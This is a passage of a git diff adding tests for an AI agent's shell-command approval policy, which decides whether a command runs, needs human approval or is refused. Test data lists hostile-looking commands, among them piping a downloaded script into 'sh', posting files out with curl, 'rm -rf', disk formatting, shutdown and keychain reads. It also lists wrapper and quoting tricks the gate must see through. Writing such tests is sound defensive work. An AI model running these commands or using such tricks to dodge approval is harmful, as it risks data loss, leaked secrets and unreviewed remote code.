_turn_mod _turn_mod._active_turns.clear() yield @@ -100,7 +100,7 @@ async def test_turn_cancel_no_active_turn_returns_cancelled_false( async def test_turn_cancel_cancels_the_handle(emitter: SubscriptionEmitter) -> None: - from raven.tui_rpc.methods import turn as turn_mod + from raven.rpc.methods import turn as turn_mod await turn_send( {"session_key": "tui:default", "content": "x"}, emitter=emitter, scheduler=FakeScheduler(), turn_ids={} diff --git a/tests/test_tui_rpc_turn_send.py b/tests/test_rpc_turn_send.py similarity index 96% rename from tests/test_tui_rpc_turn_send.py rename to tests/test_rpc_turn_send.py index 181153d3..10ff8400 100644 --- a/tests/test_tui_rpc_turn_send.py +++ b/tests/test_rpc_turn_send.py @@ -3,10 +3,10 @@ ``turn.send`` submits a turn onto the spine (build_tui Scheduler) and returns ``{turn_id, accepted}`` synchronously; the turn streams out via the hub/sink. These tests drive the handler with a fake Scheduler + emitter (the spine path -itself is covered in ``test_tui_rpc_spine.py``). +itself is covered in ``test_rpc_spine.py``). Spec source: -- ``raven/tui_rpc/models.py`` ``TurnSendParams`` / ``TurnSendResult`` +- ``raven/rpc/models.py`` ``TurnSendParams`` / ``TurnSendResult`` """ from __future__ import annotations @@ -16,9 +16,9 @@ import pytest from pydantic import ValidationError -from raven.tui_rpc.dispatcher import Dispatcher -from raven.tui_rpc.errors import ModelNotAvailableError, RpcError, TurnInProgressError -from raven.tui_rpc.methods.turn import register_turn_methods, turn_send +from raven.rpc.dispatcher import Dispatcher +from raven.rpc.errors import ModelNotAvailableError, RpcError, TurnInProgressError +from raven.rpc.methods.turn import register_turn_methods, turn_send class FakeHandle: @@ -59,7 +59,7 @@ def types(self) -> list[str]: @pytest.fixture(autouse=True) def _clear_active_turns(): - from raven.tui_rpc.methods import turn as _turn_mod + from raven.rpc.methods import turn as _turn_mod _turn_mod._active_turns.clear() yield @@ -108,7 +108,7 @@ async def test_turn_send_generates_unique_turn_ids() -> None: async def test_turn_send_binds_active_slot_after_submit() -> None: - from raven.tui_rpc.methods import turn as turn_mod + from raven.rpc.methods import turn as turn_mod scheduler = FakeScheduler() await turn_send({"session_key": "tui:default", "content": "hi"}, scheduler=scheduler, turn_ids={}) @@ -132,7 +132,7 @@ async def test_turn_send_rejects_active_turn_with_minus_32003() -> None: async def test_turn_send_rejects_unknown_model_with_minus_32008() -> None: with patch( - "raven.tui_rpc.methods.turn._resolve_model", + "raven.rpc.methods.turn._resolve_model", side_effect=ModelNotAvailableError("no provider configured"), ): with pytest.raises(ModelNotAvailableError) as excinfo: @@ -152,8 +152,8 @@ async def test_turn_send_without_scheduler_emits_model_not_available() -> None: async def test_turn_send_when_submit_rejected_surfaces_turn_failed() -> None: # Server draining: submit raises → message.start + turn_failed error, no bind. + from raven.rpc.methods import turn as turn_mod from raven.spine.scheduler import SchedulerDrainingError - from raven.tui_rpc.methods import turn as turn_mod emitter = FakeEmitter() turn_ids: dict[str, str] = {} diff --git a/tests/test_tui_rpc_turn_subscribe.py b/tests/test_rpc_turn_subscribe.py similarity index 94% rename from tests/test_tui_rpc_turn_subscribe.py rename to tests/test_rpc_turn_subscribe.py index 74e155df..921d5dc6 100644 --- a/tests/test_tui_rpc_turn_subscribe.py +++ b/tests/test_rpc_turn_subscribe.py @@ -1,9 +1,9 @@ """Tests for ``turn.subscribe`` + ``turn.unsubscribe`` real handlers (turn-streaming). -Relevant models live in ``raven/tui_rpc/models.py`` +Relevant models live in ``raven/rpc/models.py`` (``TurnSubscribe*`` / ``TurnUnsubscribe*``); the handlers live in -``raven.tui_rpc.methods.turn`` + ``raven.tui_rpc.subscriptions``. +``raven.rpc.methods.turn`` + ``raven.rpc.subscriptions``. """ from __future__ import annotations @@ -13,13 +13,13 @@ import pytest from pydantic import ValidationError -from raven.tui_rpc.dispatcher import Dispatcher -from raven.tui_rpc.methods.turn import ( +from raven.rpc.dispatcher import Dispatcher +from raven.rpc.methods.turn import ( register_turn_methods, turn_subscribe, turn_unsubscribe, ) -from raven.tui_rpc.subscriptions import SubscriptionEmitter +from raven.rpc.subscriptions import SubscriptionEmitter @pytest.fixture diff --git a/tests/test_shell_approval.py b/tests/test_shell_approval.py index 430e8566..eafdef2d 100644 --- a/tests/test_shell_approval.py +++ b/tests/test_shell_approval.py @@ -265,3 +265,537 @@ async def test_sandboxed_delete_skips_approval_and_deny_policy(tmp_path) -> None assert "Exit code: 0" in result assert responder.requests == [] assert executor.commands == ["rm -rf tmp"] + + +class TestExternalEffectFamilies: + """The opt-in group, and where its line is drawn. + + The built-in policy asks about exactly one family -- deletion -- which fits a + terminal the reader is already watching. Behind an editor nothing is on + screen, so ``git push``, ``npm install`` and ``curl -o`` would run unannounced. + The group registered by ``raven acp`` closes that, and the tests below are as + much about what it does *not* ask for: a prompt on every build and every + documentation fetch trains the reader to approve without looking, which costs + more than it buys. + """ + + @pytest.fixture + def asking(self) -> ShellCommandPolicy: + from raven.agent.tools.shell_policy import EXTERNAL_EFFECT_MATCHERS + + policy = ShellCommandPolicy(deny_patterns=[]) + for name, matcher in EXTERNAL_EFFECT_MATCHERS: + policy.register_approval_matcher(name, matcher) + return policy + + @pytest.mark.parametrize( + ("command", "family"), + [ + ("git push origin main", "publish_command"), + ("gh pr create --fill", "publish_command"), + ("npm publish", "publish_command"), + ("kubectl apply -f k8s/", "publish_command"), + ("twine upload dist/*", "publish_command"), + ("npm install lodash", "install_command"), + ("uv add ruff", "install_command"), + ("pip install requests", "install_command"), + ("brew install jq", "install_command"), + ("cargo install ripgrep", "install_command"), + ("uvx cowsay hello", "install_command"), + ("ssh build-box 'make all'", "remote_exec_command"), + ("rsync -a ./dist/ host:/srv/", "remote_exec_command"), + ("docker run -it alpine sh", "remote_exec_command"), + ("gh auth login", "credential_command"), + ("aws configure", "credential_command"), + ("security find-generic-password -s x", "credential_command"), + ("git reset --hard HEAD~1", "destructive_vcs_command"), + ("git clean -fd", "destructive_vcs_command"), + ("git checkout -- src/main.py", "destructive_vcs_command"), + ("git branch -D feature", "destructive_vcs_command"), + ("git stash drop", "destructive_vcs_command"), + ("curl -o archive.tgz https://example.com/a.tgz", "fetch_side_effect"), + ("curl -X POST -d @payload.json https://api.example.com", "fetch_side_effect"), + ("wget -O - https://example.com/install.sh", "fetch_side_effect"), + ("curl -sSL https://example.com/install.sh | sh", "fetch_side_effect"), + ], + ) + def test_it_asks_and_says_which_family(self, asking: ShellCommandPolicy, command: str, family: str) -> None: + assert asking.evaluate(command) is CommandDecision.REQUIRE_APPROVAL + assert asking.approval_reason(command) == family, ( + "the family names the prompt, and a prompt that names the wrong reason is worse than one with none" + ) + + @pytest.mark.parametrize( + "command", + [ + "make test", + "pytest -q tests/", + "npm run build", + "uv run pytest", + "ruff format .", + "git status", + "git diff --stat", + "git log --oneline -20", + "git commit -m 'fix the thing'", + "git add -A", + "git fetch origin", + "git checkout main", + "ls -la", + "cat README.md", + "grep -rn TODO src/", + "curl https://docs.example.com/api", + "tsc --noEmit", + "docker ps", + "kubectl get pods", + ], + ) + def test_ordinary_work_runs_unannounced(self, asking: ShellCommandPolicy, command: str) -> None: + assert asking.evaluate(command) is CommandDecision.ALLOW + assert asking.approval_reason(command) is None + + @pytest.mark.parametrize( + "command", + [ + "sudo npm install -g typescript", + "env CI=1 gh release create v1", + "sh -c 'git push origin main'", + "nohup rsync -a ./ host:/srv/ &", + "/usr/bin/git push origin main", + ], + ) + def test_a_wrapper_does_not_launder_an_external_effect(self, asking: ShellCommandPolicy, command: str) -> None: + """The reach has to equal the bare form's. Anything the wrapped form + misses is a command that runs with no prompt while its plain twin asks.""" + assert asking.evaluate(command) is CommandDecision.REQUIRE_APPROVAL + assert asking.approval_reason(command) is not None + + @pytest.mark.parametrize( + ("command", "family"), + [ + ("timeout 60 npm install", "install_command"), + ("nice -n 10 git push origin main", "publish_command"), + ], + ) + def test_a_command_runner_no_longer_launders_one( + self, asking: ShellCommandPolicy, command: str, family: str + ) -> None: + """Was ``test_a_command_runner_still_launders_one_here``, which pinned the + hole and said outright that whoever added the runner unwrap should find it + failing and flip it into this. That is what happened: the helper is here + now, so a runner's inner command is classified rather than laundered. + + It stopped being optional when quoted metacharacters stopped being + command boundaries. ``{}`` had been splitting ``xargs -I{} rm -rf {}`` + into a segment that happened to start at ``rm``, so a delete behind a + runner was caught by accident; removing that accident would have left it + allowed. ``timeout 5 rm -rf x`` and ``timeout 5 shutdown -h now`` were + never caught here at all, and are now. + """ + assert asking.evaluate(command) is CommandDecision.REQUIRE_APPROVAL + assert asking.approval_reason(command) == family + + @pytest.mark.parametrize( + "command", + [ + "pacman -S ripgrep", + "code --install-extension ms-python.python", + ], + ) + def test_an_install_verb_hidden_in_an_option_is_still_found(self, asking: ShellCommandPolicy, command: str) -> None: + """Two package managers put the verb in a flag rather than a word. A + matcher that only read words would let them through while every other + install asked.""" + assert asking.evaluate(command) is CommandDecision.REQUIRE_APPROVAL + assert asking.approval_reason(command) == "install_command" + + def test_a_git_subcommand_destructive_with_no_flag_at_all(self, asking: ShellCommandPolicy) -> None: + """``filter-branch`` rewrites history unconditionally -- no flag makes it + safe, so the family carries no flag list for it and the bare form fires.""" + assert asking.evaluate("git filter-branch --msg-filter cat") is CommandDecision.REQUIRE_APPROVAL + assert asking.approval_reason("git filter-branch --msg-filter cat") == "destructive_vcs_command" + + def test_a_destructive_flag_without_its_subcommand_does_not_fire(self, asking: ShellCommandPolicy) -> None: + """``--hard`` belongs to ``reset``. Matching the flag alone would ask about + anything else that happens to carry it.""" + assert asking.evaluate("git log --hard") is CommandDecision.ALLOW + assert asking.evaluate("git status -f") is CommandDecision.ALLOW + + @pytest.mark.parametrize("command", ["shutdown -h now", "reboot", "systemctl poweroff"]) + def test_a_token_classified_hard_deny_has_no_reason_to_explain( + self, asking: ShellCommandPolicy, command: str + ) -> None: + """The other hard-deny path: these are refused by token inspection rather + than by a deny pattern, and a refusal has no prompt to describe. + + Deletion is deliberately not in this list. It is refused nowhere in this + module -- it reaches the surface as a registered matcher and is ASKED + about, so it has to keep naming its family, which the case below pins. + """ + assert asking.evaluate(command) is CommandDecision.HARD_DENY + assert asking.approval_reason(command) is None + + def test_a_delete_still_names_its_own_family(self, asking: ShellCommandPolicy) -> None: + """The description the prompt shows comes from this name. Folding deletion + in with the refusals above would send every ``rm`` to the generic + sentence, which is the one line that says what the prompt is about.""" + assert asking.evaluate("rm file.txt") is CommandDecision.REQUIRE_APPROVAL + assert asking.approval_reason("rm file.txt") == "delete_command" + + def test_an_empty_segment_does_not_break_the_walk(self, asking: ShellCommandPolicy) -> None: + """A wrapper with nothing after it, and an empty compound segment. Both + occur in real command strings and neither names an executable.""" + assert asking.evaluate("sudo") is CommandDecision.ALLOW + assert asking.evaluate("env") is CommandDecision.ALLOW + assert asking.evaluate(";; git push") is CommandDecision.REQUIRE_APPROVAL + + def test_a_command_inside_a_nested_shell_is_still_classified(self, asking: ShellCommandPolicy) -> None: + assert asking.evaluate("""sh -c "sh -c 'git push'" """) is CommandDecision.REQUIRE_APPROVAL + + def test_unparseable_quoting_closes_the_gate(self, asking: ShellCommandPolicy) -> None: + """``shlex`` raises "No closing quotation" on an unbalanced quote, which + reaches the policy's fail-closed branch. Refusing is the right direction: + a command string the classifier cannot read is one whose effect it cannot + bound, and the alternative is running it unexamined.""" + assert asking.evaluate("git status 'unbalanced") is CommandDecision.HARD_DENY + assert asking.approval_reason("git status 'unbalanced") is None + + def test_the_walk_stops_at_a_fixed_depth(self) -> None: + """Called directly with the depth already at the bound, because reaching + it through real shell quoting takes five alternating quote levels that no + command has. What the bound buys is termination: without it a crafted + string could recurse until the stack ran out.""" + from raven.agent.tools.shell_policy import _MAX_EMBEDDED_SHELL_DEPTH, _iter_argv + + shallow = list(_iter_argv("sh -c 'git push'")) + at_bound = list(_iter_argv("sh -c 'git push'", _depth=_MAX_EMBEDDED_SHELL_DEPTH)) + + assert ["git", "push"] in shallow, "the inner command is reached below the bound" + assert ["git", "push"] not in at_bound, "and not descended into at it" + assert at_bound == [["sh", "-c", "git push"]], "the outer argv is still yielded" + + def test_hard_deny_still_outranks_the_new_families( + self, + ) -> None: + """Ordering is security-sensitive: a matcher must never turn an + unconditionally forbidden command into an approvable one.""" + from raven.agent.tools.shell_policy import EXTERNAL_EFFECT_MATCHERS + + policy = ShellCommandPolicy(deny_patterns=[r"\bmkfs\b"]) + for name, matcher in EXTERNAL_EFFECT_MATCHERS: + policy.register_approval_matcher(name, matcher) + + assert policy.evaluate("mkfs.ext4 /dev/sda1 && git push") is CommandDecision.HARD_DENY + assert policy.approval_reason("mkfs.ext4 /dev/sda1") is None, "a refusal has no prompt to explain" + assert policy.evaluate("shutdown now && npm publish") is CommandDecision.HARD_DENY + + def test_the_default_policy_asks_about_none_of_them(self, policy: ShellCommandPolicy) -> None: + """The group is opt-in. A terminal user watching their own shell does not + need a prompt before ``git push``, and adding one would change behaviour + for every existing surface.""" + for command in ("git push origin main", "npm install lodash", "ssh box ls"): + assert policy.evaluate(command) is CommandDecision.ALLOW + + def test_a_faulty_matcher_closes_the_gate_and_explains_nothing(self, policy: ShellCommandPolicy) -> None: + def _broken(command: str) -> bool: + raise RuntimeError("matcher is wrong") + + policy.register_approval_matcher("broken", _broken) + + assert policy.evaluate("echo hi") is CommandDecision.HARD_DENY + assert policy.approval_reason("echo hi") is None + + +async def test_the_prompt_names_the_family_that_fired(tmp_path) -> None: + """The description was a constant before the families existed -- it read + "Delete files using a shell command" for whatever was being asked about, + which was accurate only while deletion was the one registered family.""" + from raven.agent.tools.shell_policy import EXTERNAL_EFFECT_MATCHERS + + executor = _RecordingExecutor(sandboxed=False) + responder = _ApprovalResponder([True]) + tool = ExecTool(executor=executor, working_dir=str(tmp_path)) + for name, matcher in EXTERNAL_EFFECT_MATCHERS: + tool.register_approval_matcher(name, matcher) + tool.start_approval_turn(responder, conversation_id="session-a", turn_id="turn-a") + tool.set_tool_call_id("call-a") + + await tool.execute("git push origin main") + + assert responder.requests[0]["description"] == "Publish or push work to a remote" + assert executor.commands == ["git push origin main"] + + +async def test_an_unregistered_family_still_gets_a_usable_prompt(tmp_path) -> None: + """A surface can register a matcher this table has no description for. The + fallback is deliberately vague rather than a guess: naming the wrong reason + is worse than naming none.""" + executor = _RecordingExecutor(sandboxed=False) + responder = _ApprovalResponder([False]) + tool = ExecTool(executor=executor, working_dir=str(tmp_path)) + tool.register_approval_matcher("house_style", lambda command: command.startswith("weird")) + tool.start_approval_turn(responder, conversation_id="s", turn_id="t") + + result = await tool.execute("weird --thing") + + assert isinstance(result, ToolResult) + assert responder.requests[0]["description"] == "Run a command that needs your approval" + assert executor.commands == [] + + +class TestASandboxContainsSomeThingsAndNotOthers: + """The sandbox short-circuit used to skip the whole classification, which made + the SAFER configuration prompt less than the plain one -- for exactly the + operations a sandbox has no say over.""" + + def _asking(self) -> ShellCommandPolicy: + from raven.agent.tools.shell_policy import EXTERNAL_EFFECT_MATCHERS + + policy = ShellCommandPolicy(deny_patterns=[r"\bmkfs\b"]) + for name, matcher in EXTERNAL_EFFECT_MATCHERS: + policy.register_approval_matcher(name, matcher) + return policy + + @pytest.mark.parametrize( + "command", + ["git push origin main", "npm install lodash", "ssh host ls", "curl -o out https://example.com"], + ) + def test_an_effect_the_sandbox_cannot_hold_still_asks(self, command: str) -> None: + """A microVM does not contain a push, an install, or a connection to + another machine: the bytes leave the box either way.""" + assert self._asking().evaluate(command, sandboxed=True) is CommandDecision.REQUIRE_APPROVAL + assert self._asking().approval_reason(command, sandboxed=True) is not None + + @pytest.mark.parametrize("command", ["rm file.txt", "rm -rf tmp", "shutdown now", "mkfs.ext4 /dev/sda1"]) + def test_what_the_sandbox_does_hold_is_neither_asked_about_nor_refused(self, command: str) -> None: + """Deleting a tree, powering off, formatting a disk: inside a microVM the + machine in question IS the sandbox. Running one is what a sandbox is for, + so the prompt and the refusal both drop away.""" + assert self._asking().evaluate(command, sandboxed=True) is CommandDecision.ALLOW + assert self._asking().approval_reason(command, sandboxed=True) is None + + @pytest.mark.parametrize("command", ["shutdown now", "mkfs.ext4 /dev/sda1"]) + def test_the_refusals_still_stand_unsandboxed(self, command: str) -> None: + """The other half: nothing above weakens the plain configuration.""" + assert self._asking().evaluate(command) is CommandDecision.HARD_DENY + + @pytest.mark.parametrize("command", ["rm file.txt", "rm -rf tmp"]) + def test_a_delete_is_still_asked_about_unsandboxed(self, command: str) -> None: + """Deletion is asked about rather than refused in this module, so the + sandbox skip has to leave that answer intact outside a sandbox.""" + assert self._asking().evaluate(command) is CommandDecision.REQUIRE_APPROVAL + assert self._asking().approval_reason(command) == "delete_command" + + +async def test_the_tool_refuses_a_hard_denied_command_before_running_it(tmp_path) -> None: + """The gate's other exit. A refusal has to happen at the tool rather than at + the policy: a decision nobody acts on is not a guard, and the executor must + never see the command -- which is what makes ``executor.commands`` the + assertion that matters here rather than the returned text. + """ + executor = _RecordingExecutor(sandboxed=False) + tool = ExecTool(executor=executor, working_dir=str(tmp_path)) + + # Powering the machine off, which the policy refuses by token inspection + # rather than by a deny pattern. A deny-pattern command would exit through + # the workspace guard above instead, so this case would pass while never + # reaching the branch it is about. + result = await tool.execute("shutdown -h now") + + assert "blocked by safety guard" in str(result) + assert executor.commands == [], "a refused command must not reach the executor" + + +async def test_the_tool_refuses_a_deny_pattern_at_its_own_exit(tmp_path) -> None: + """The gate has two refusal exits and they are not the same code path: an + operator's deny pattern is caught by the workspace guard, before the policy is + consulted at all. Covering one and assuming the other is how a guard stops + firing without any test noticing. + """ + executor = _RecordingExecutor(sandboxed=False) + tool = ExecTool(executor=executor, working_dir=str(tmp_path), extra_deny_patterns=[r"\bmkfs\b"]) + + result = await tool.execute("mkfs.ext4 /dev/sda1") + + assert "Error" in str(result) + assert executor.commands == [] + + +class TestAGlobalOptionValueIsNotASubcommand: + """The gap that let a hand-written command through the boundary added here. + + ``_subcommands`` skipped options but not their values, so a value was counted + as one of the words it was looking for and the budget ran out before the + verb. ``git --git-dir X --work-tree Y push`` therefore read as the two paths + and never saw ``push``: an ALLOW for the exact command that bare ``git push`` + prompts about. Nothing below is adversarial -- every shape is one a person + types, and two of them (``aws --profile``, ``git --git-dir``) are the normal + way to drive those tools from outside their own tree. + """ + + @pytest.fixture + def asking(self) -> ShellCommandPolicy: + from raven.agent.tools.shell_policy import EXTERNAL_EFFECT_MATCHERS + + policy = ShellCommandPolicy(deny_patterns=[]) + for name, matcher in EXTERNAL_EFFECT_MATCHERS: + policy.register_approval_matcher(name, matcher) + return policy + + @pytest.mark.parametrize( + ("command", "family"), + [ + ("git --git-dir /tmp/repo/.git --work-tree /tmp/repo push origin main", "publish_command"), + ("git -C /repo --no-pager push", "publish_command"), + ("aws --profile prod --region us-east-1 s3 cp ./x s3://bucket/x", "publish_command"), + ("kubectl --namespace kube-system --context prod apply -f x.yaml", "publish_command"), + ("gh --repo owner/name pr create --fill", "publish_command"), + ("docker --host tcp://build:2375 push registry/image", "publish_command"), + ("npm --prefix /srv/app install lodash", "install_command"), + ("git --git-dir /tmp/r/.git reset --hard HEAD~1", "destructive_vcs_command"), + ], + ) + def test_the_verb_is_found_past_its_global_options( + self, asking: ShellCommandPolicy, command: str, family: str + ) -> None: + assert asking.evaluate(command) is CommandDecision.REQUIRE_APPROVAL + assert asking.approval_reason(command) == family + + def test_an_attached_value_consumes_nothing_extra(self, asking: ShellCommandPolicy) -> None: + """``--git-dir=X`` carries its value in the same word. Consuming a + following token for it would eat the verb instead of the value, which is + the same bug pointing the other way.""" + assert asking.approval_reason("git --git-dir=/tmp/r/.git push") == "publish_command" + + def test_a_double_dash_ends_the_options(self, asking: ShellCommandPolicy) -> None: + """After ``--`` a word that looks like an option is an argument, so the + table must not keep consuming past it.""" + assert asking.approval_reason("git -C /repo push -- --not-an-option") == "publish_command" + + @pytest.mark.parametrize( + "command", + [ + # The two options here are documented AWS globals that a table of + # "options certain to take a value" did not happen to list. Review + # found this shape against the table version, and it is the reason + # the word budget is gone rather than the table extended: no table of + # every option of every tool can be complete, so nothing that decides + # whether to ask may depend on one being complete. + "aws --query '{}' --cli-binary-format raw-in-base64-out s3 cp ./x s3://bucket/x", + "aws --profile p --region r --output json --query x s3 cp a b", + "kubectl -n ns --context c --kubeconfig k --as u apply -f x.yaml", + "git -c a.b=c -c d.e=f --git-dir /r/.git --work-tree /r push origin main", + ], + ) + def test_no_number_of_option_values_can_hide_the_verb(self, asking: ShellCommandPolicy, command: str) -> None: + assert asking.evaluate(command) is CommandDecision.REQUIRE_APPROVAL + assert asking.approval_reason(command) is not None + + def test_a_quoted_argument_of_metacharacters_is_not_a_command_boundary(self, asking: ShellCommandPolicy) -> None: + """Found while fixing the case above, and it is the more serious half. + + The segmenter decided a token was a boundary when every character in it + was a shell metacharacter, which a *quoted* argument can satisfy. + ``aws --query '{}' ... s3 cp`` was therefore cut in two at its own + argument, and the second piece began with an option -- so ``argv[0]``, + which every family matcher keys on to find its table, was an option + rather than an executable, and no family could fire at all. Extending the + option table would not have touched this: the command never reached the + table as one command. + """ + from raven.agent.tools.shell_policy import _iter_argv + + argvs = list(_iter_argv("aws --query '{}' --cli-binary-format raw s3 cp ./x s3://b/x")) + + assert len(argvs) == 1, f"one command, not {len(argvs)}: {argvs}" + assert argvs[0][0] == "aws", "the executable has to survive segmentation" + + @pytest.mark.parametrize( + ("command", "decision"), + [ + # The shapes that rely on a bare ``{}`` being an ordinary word, and + # the real operators that must still split. Both directions, because + # the fix moves the line between them. + ("{ rm file.txt; }", CommandDecision.REQUIRE_APPROVAL), + # Asked rather than refused: this repo's policy has no unconditional + # recursive-delete deny, so REQUIRE_APPROVAL is what "the operator + # split and the delete was seen" looks like here. + ("xargs -I{} rm -rf {}", CommandDecision.REQUIRE_APPROVAL), + (r'find . -name "*.log" -exec rm {} \;', CommandDecision.REQUIRE_APPROVAL), + ("rm -rf build && git push", CommandDecision.REQUIRE_APPROVAL), + ], + ) + def test_the_operators_that_must_still_split_still_split( + self, asking: ShellCommandPolicy, command: str, decision: CommandDecision + ) -> None: + assert asking.evaluate(command) is decision + + @pytest.mark.parametrize( + "command", + [ + # A bare ``{}`` had been splitting this into a segment that happened + # to start at ``rm``, so the delete was caught by accident. Once a + # quoted metacharacter stopped being a boundary, the accident stopped + # too and this evaluated to ALLOW -- a regression the segmentation fix + # introduced and the runner unwrap closes by looking on purpose. + "xargs -I{} rm -rf {}", + # Never caught here before, for the same missing reason. + "timeout 5 rm -rf build", + "nice -n 10 rm -rf build", + ], + ) + def test_a_command_a_runner_was_handed_is_still_classified(self, asking: ShellCommandPolicy, command: str) -> None: + assert asking.evaluate(command) is not CommandDecision.ALLOW + + def test_a_runner_holding_a_power_command_is_still_refused(self, asking: ShellCommandPolicy) -> None: + assert asking.evaluate("timeout 5 shutdown -h now") is CommandDecision.HARD_DENY + + @pytest.mark.parametrize( + "command", + [ + # A repository directory literally named ``|``. Review initialized one + # and confirmed ``git -C '|' status`` works, so this is a command a + # person can run, not a contrivance. Under the whole-token rule this + # segmented as [['git', '-C'], ['push', 'origin', 'main']]: the quoted + # argument read as a pipeline operator, and the piece holding ``push`` + # started at a word that is not an executable. + "git -C '|' push origin main", + # zsh accepts ``|&`` and runs the right-hand side as the pipeline. It + # was on no operator list, so the whole thing stayed one token inside + # the ``-c`` string and nothing looked past it. + "zsh -c 'echo ignored |& git push origin main'", + "git -C '&&' push", + "sh -c 'true; git push origin main'", + ], + ) + def test_a_quoted_operator_is_an_argument_and_a_real_one_is_a_boundary( + self, asking: ShellCommandPolicy, command: str + ) -> None: + """The reason segmentation now reads the raw text instead of tokens. + + ``shlex`` strips quote provenance, so once ``git -C '|' push`` has been + tokenised there is no information left that distinguishes the argument + from the operator. No rule written over tokens can tell them apart; the + fix had to move to where the quoting is still visible. + """ + assert asking.evaluate(command) is CommandDecision.REQUIRE_APPROVAL + assert asking.approval_reason(command) == "publish_command" + + @pytest.mark.parametrize( + "command", + ["echo a|grep b", "make test && echo done", "echo '|' ", "echo 'a && b'"], + ) + def test_the_quoting_rules_do_not_invent_boundaries_or_lose_them( + self, asking: ShellCommandPolicy, command: str + ) -> None: + """Both directions of the same scanner: a real operator still splits, and + a quoted one still does not, without either turning ordinary work into a + prompt.""" + assert asking.evaluate(command) is CommandDecision.ALLOW + + def test_an_unknown_option_over_reads_rather_than_under_reads(self, asking: ShellCommandPolicy) -> None: + """No table lists every option of every tool. An unconsumed value becomes + a candidate word, which can only make the policy ask about more than it + must -- the direction a security boundary is allowed to fail in. This one + passes before the fix too; it is here to pin the fallback, because the + obvious "consume the next token after any option" would break it.""" + assert asking.evaluate("git --future-flag somevalue push") is CommandDecision.REQUIRE_APPROVAL diff --git a/tests/test_spine_events.py b/tests/test_spine_events.py index 18b7c4d8..efca2346 100644 --- a/tests/test_spine_events.py +++ b/tests/test_spine_events.py @@ -41,6 +41,9 @@ def test_notice_kind_is_closed_enum_with_progress_and_tool_hint(): "tool_hint", "injected", "delivery_failed", + # Unlike the four above, this one replaces the answer instead of + # accompanying it -- see test_a_blocked_action_is_a_notice_kind_of_its_own. + "action_blocked", } assert str(NoticeKind.PROGRESS) == "progress" assert str(NoticeKind.TOOL_HINT) == "tool_hint" @@ -67,12 +70,14 @@ def test_lifecycle_events_construct_and_are_frozen(): def test_turn_failed_has_no_usage(): fields = {f.name for f in dataclasses.fields(TurnFailed)} - assert fields == {"error", "cancelled", "conversation_id"} # failure carries no usage + # turn_id is the WHICH-turn axis, present on all three lifecycle events; the + # point pinned here is still that a failure carries no usage. + assert fields == {"error", "cancelled", "conversation_id", "turn_id"} def test_turn_ended_carries_usage_latency_and_explicit_reply(): fields = {f.name for f in dataclasses.fields(TurnEnded)} - assert fields == {"usage", "latency_ms", "explicit_reply", "conversation_id"} + assert fields == {"usage", "latency_ms", "explicit_reply", "conversation_id", "turn_id"} def test_every_deliverable_defaults_source_to_none(): @@ -175,3 +180,54 @@ def test_reasoning_carries_content_and_is_frozen(): def test_every_event_type_is_frozen(event): with pytest.raises(dataclasses.FrozenInstanceError): setattr(event, "_probe", 1) + + +def test_every_lifecycle_event_carries_a_turn_id_axis(): + # turn_id is the second correlation axis: conversation_id is WHERE a turn ran, + # this is WHICH turn ran. Lifecycle-only -- a deliverable is correlated by its + # stream, and growing the field there would invite stamping it from a per-lane + # slot again, which is the defect this axis exists to close. + lifecycle = [ + TurnStarted(), + TurnFailed(error="e", cancelled=False), + TurnEnded(usage=Usage(0, 0, 0), latency_ms=1.0, explicit_reply=False), + ] + for event in lifecycle: + assert event.turn_id == "" + deliverables = [ + Text(content="hi"), + Reasoning(content="hm"), + ToolEvent(phase=ToolPhase.START, tool_call_id="t"), + Notice(kind=NoticeKind.PROGRESS), + EpisodeStart(index=0), + MediaOut(media=(Media(path="/tmp/a.jpg", mime="image/jpeg", kind="image"),)), + StreamDelta(delta="x"), + ] + for event in deliverables: + assert not hasattr(event, "turn_id") + + +def test_a_blocked_action_is_a_notice_kind_of_its_own(): + # Not folded into PROGRESS or TOOL_HINT: those accompany an answer, and this + # one REPLACES it, so an outlet that renders nothing else must still render + # this or the turn ends in silence. + assert NoticeKind.ACTION_BLOCKED.value == "action_blocked" + assert NoticeKind.ACTION_BLOCKED not in (NoticeKind.PROGRESS, NoticeKind.TOOL_HINT) + + +def test_a_tool_event_can_carry_the_fidelity_a_client_draws_from(): + # Defaults, so every existing construction site keeps working: a tool that + # publishes none of this is indistinguishable from one built before the + # fields existed. + plain = ToolEvent(phase=ToolPhase.START, tool_call_id="t") + assert plain.blocking is False + assert plain.metadata is None + assert plain.diff is None + rich = ToolEvent( + phase=ToolPhase.COMPLETE, + tool_call_id="t", + metadata={"files": 2}, + diff="--- a\n+++ b", + ) + assert rich.metadata == {"files": 2} + assert rich.diff == "--- a\n+++ b" diff --git a/tests/test_spine_scheduler_lane.py b/tests/test_spine_scheduler_lane.py index 19820a0a..ff447d5f 100644 --- a/tests/test_spine_scheduler_lane.py +++ b/tests/test_spine_scheduler_lane.py @@ -423,3 +423,85 @@ async def test_scheduler_has_inflight_tracks_running_turn(): except (asyncio.CancelledError, Exception): pass await sched.shutdown(grace=0.0) + + +# --- turn identity: the second correlation axis alongside the lane --- + + +async def test_worker_mints_a_turn_id_when_the_request_carries_none(): + # Every submit path but turn.send leaves turn_id unset, so the lane is what + # makes those turns identifiable at all -- and a consumer that has to tell an + # announce turn's end from the client turn queued behind it on the same lane + # has nothing else to go on. + runner = SuccessRunner(TurnOutcome(usage=Usage(0, 0, 0), explicit_reply=False)) + events, sink = _collector() + lane = Lane(runner=runner, pools=OriginPools(user=1, system=1), sink=sink, conversation_id="tg:7") + await lane.submit(_req()) + started = next(e for e in events if isinstance(e, TurnStarted)) + ended = next(e for e in events if isinstance(e, TurnEnded)) + assert started.turn_id + assert ended.turn_id == started.turn_id + + +async def test_a_supplied_turn_id_is_not_re_minted(): + # turn.send returns its id to the client and puts it on message.start, so the + # lifecycle events have to carry that same value or the client's correlation + # key stops matching the completion it is waiting for. + src = Source(channel="t", chat_id="c", sender_id="u", chat_type=ChatType.DM) + runner = SuccessRunner(TurnOutcome(usage=Usage(0, 0, 0), explicit_reply=False)) + events, sink = _collector() + lane = Lane(runner=runner, pools=OriginPools(user=1, system=1), sink=sink, conversation_id="tg:7") + await lane.submit(TurnRequest(origin=Origin.USER, source=src, text="hi", turn_id="t-known")) + started = next(e for e in events if isinstance(e, TurnStarted)) + ended = next(e for e in events if isinstance(e, TurnEnded)) + assert started.turn_id == "t-known" + assert ended.turn_id == "t-known" + + +async def test_a_failed_turn_reports_its_own_turn_id(): + runner = FailingRunner() + events, sink = _collector() + lane = Lane(runner=runner, pools=OriginPools(user=1, system=1), sink=sink, conversation_id="tg:9") + await lane.submit(_req()) + started = 